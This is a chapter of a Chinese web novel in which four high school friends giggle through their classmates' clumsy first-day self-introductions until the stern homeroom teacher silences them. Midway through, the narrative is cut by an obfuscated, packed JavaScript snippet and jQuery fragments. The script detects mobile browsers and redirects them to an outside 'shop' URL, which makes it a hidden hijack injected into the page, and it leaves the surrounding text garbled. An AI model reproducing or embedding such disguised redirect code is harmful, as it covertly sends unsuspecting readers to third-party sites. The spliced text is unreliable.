高一二班的教室在三楼最西侧，靠窗的位置能看见操场边泛黄的梧桐叶，秋风从半开的窗户钻进来，卷走了几分初秋的燥热，却吹不散教室里叽叽喳喳的喧闹。
距离上课还有几分钟，后排的四人组早已占据了属于自己的小天地。季临舟坐在最里面，手肘撑在桌沿，指尖转着一支黑色水笔，嘴巴就没停过，一会儿跟前面的孟想搭话，一会儿又转头吐槽Bob桌肚里塞得满满当当的零食。Bob大大咧咧地坐在外侧，屁股底下像是安了弹簧，一刻也坐不踏实，手里捏着一包草莓味软糖，时不时往嘴里丢一颗，腮帮子鼓鼓的，活像只囤粮的仓鼠。刘沐格单手撑着下巴，坐姿随意又利落，校服袖口挽到小臂，露出一截纤细却有力的手腕，听见季临舟的废话，时不时转头怼上两句，干脆又爽快。孟想坐得笔直，阳光落在他侧脸上，显得整个人格外阳光耿直，明明是体育委员的气场，此刻却安安静静听着身边人打闹，偶尔附和两句，透着几分憨厚。
四人本就是旧识，又凑巧分到同班、成了前后桌，不过半天时间，就已经熟络得仿佛认识了好几年，后排角落的小圈子，热闹得自成一派。
很快，刺耳的上课铃声划破校园的喧闹，教室里瞬间安静了几分，却依旧有零星的说话声和桌椅挪动的声响。直到叶华平踩着铃声走进教室，那点残存的嘈杂才彻底消失无踪。
今天的叶华平依旧是标志性的穿搭，蓝色牛仔裤搭配红色羊绒毛衣，外面套着一件宽松的绿色冲锋衣，鼻子右下侧那颗显眼的大黑痣，随着他的动作微微晃动，自带几分威严。他将教案重重放在讲台上，目光如炬地扫过全班，原本还有些躁动的同学瞬间噤声，连Bob都慌忙把手里的软糖塞进桌肚，坐直了身子，不敢再有半分小动作。
“都安静。”叶华平的声音不高，却带着不容置疑的严厉，“中考结束不代表你们可以松懈，高中三年是关键，从今天起，收心好好学习。”
他顿了顿，指尖敲了敲黑板：“今天第一件事，按座位顺序，依次上台做自我介绍。名字、毕业学校，简单说说就行，让同学和老师互相认识一下。现在，从第一排开始。”
话音落下，第一排的一个女生率先站起身，低着头磨磨蹭蹭走上讲台。她双手紧紧攥着衣角，身子微微发抖，声音细得像蚊子哼哼，轻飘飘地飘在教室里，不仔细听根本听不清内容。
“大……大家好，我叫陈雨欣……毕业于……毕业于实验中学……”
一句话说得断断续续，声音小得几乎被窗外的风声盖过，台下不少同学都皱着眉，努力侧耳倾听，却依旧只捕捉到只言片语。
后排的Bob瞬间来了兴致，用胳膊肘狠狠撞了撞身边的季临舟，压低声音，语气里满是戏谑：“我去，小临子，你听那个人说话怎么这么小声，跟蚊子叫一样，我凑这么近都听不见，怕不是连讲台都不敢看哦。”
季临舟憋着笑，眼底满是看热闹的趣味，也跟着小声回应：“人家这是腼腆，哪像你，嗓门大得能掀翻屋顶。”
两人的动静不大，却还是被旁边的刘沐格听了去。她转头白了两人一眼，用口型比出“别说话”三个字，却也忍不住弯了弯嘴角，显然也觉得台上的女生过于拘谨。孟想则捂着嘴，肩膀微微抖动，强忍着笑意，生怕发出声音被叶华平抓包。
紧接着上台的同学，画风截然不同。
一个身材微胖的男生大步走上讲台，腰板挺直，声音洪亮得像是在喊口号，震得人耳朵微微发颤：“大家好！我叫赵磊！毕业于四中！平时喜欢打球打游戏，以后希望和大家好好相处！”
这嗓门一出，全班都愣了一下，随即爆发出一阵低低的笑声。反差实在太大，前一个还细若蚊吟，这一个就声如洪钟，对比鲜明得让人忍俊不禁。
Bob笑得肩膀发抖，又想跟季临舟搭话，却被季临舟用眼神制止，示意他看叶华平的脸色。只见叶华平面无表情地站在一旁，眼神冷冷地扫过全班，笑声瞬间戛然而止，所有人都乖乖坐好，继续看台上的自我介绍。
后面的同学一个接一个上台，状态千奇百怪。有说话结结巴巴的，半天说不出一句完整话，脸涨得通红，站在台上手足无措；有话痨属性发作的，从自己的爱好说到家里的宠物，滔滔不绝，被叶华平一个眼神制止才悻悻下台；还有穿着打扮十分个性的，自我介绍也格外洒脱，引得台下同学频频侧目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487704|202105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
而最搞笑的，当属一个嗓子哑得厉害的男生。
他走上讲台，清了清嗓子，一开口，声音沙哑得像是砂纸在摩擦木头，又粗又哑，格外滑稽：“大……大家好，我叫林宇，昨……昨天感冒了，嗓子有点哑……希……希望大家别介意。”
这沙哑的嗓音一出来，全班瞬间憋不住了，低低的笑声此起彼伏。Bob捂着肚子，头埋在臂弯里，笑得浑身发抖，季临舟也弯了眼角，强忍着笑意，嘴角却止不住地上扬。刘沐格也没忍住，噗嗤一声笑了出来，又赶紧捂住嘴，装作认真听讲的样子。孟想性格耿直，实在憋不住，轻轻笑出了声，又连忙收敛神色，端端正正坐好。
四人在后排挤眉弄眼，偷偷打闹，互相传递着看热闹的眼神，憋笑憋得十分辛苦。季临舟话痨属性发作，总想跟身边人吐槽两句，一会儿说这个同学太紧张，一会儿说那个同学太搞笑，嘴巴就没停过。Bob则全程专注吃瓜，时不时附和两句，手里还不忘悄悄摸出一颗糖塞进嘴里。刘沐格干脆利落，偶尔怼两人两句，却也跟着一起看热闹。孟想则是最老实的一个，却也架不住身边人的氛围，全程跟着一起憋笑。
整个自我介绍的过程，堪称大型社死与搞笑现场，各种奇葩状况层出不穷。而四人组在后排的小动作，也从未停止，你戳我一下，我撞你一下，眼神交流不断，把轻松沙雕的氛围拉满。
就在四人玩得正开心的时候，叶华平冰冷的目光突然直直射向后排角落。
那眼神带着十足的威严，扫过之处，空气仿佛都凝固了。
刚刚还在偷偷打闹、憋笑的四人组，瞬间僵在原地，脸上的笑意瞬间消失，一个个坐得笔直，双手规规矩矩放在桌上，大气都不敢出。
刚刚还窃窃私语、憋笑不断的教室，也在这一刻彻底安静下来，连根针掉在地上都能听得清清楚楚。
所有人都低着头，装作认真听讲的模样，生怕撞上班主任的枪口。
而这场热闹又搞笑的自我介绍，也在这突如其来的安静里，暂时落下了帷幕，只留下满教室的尴尬与未散的笑意，还有后排四个乖乖收敛心神，心里却依旧在偷偷吐槽的少年少女。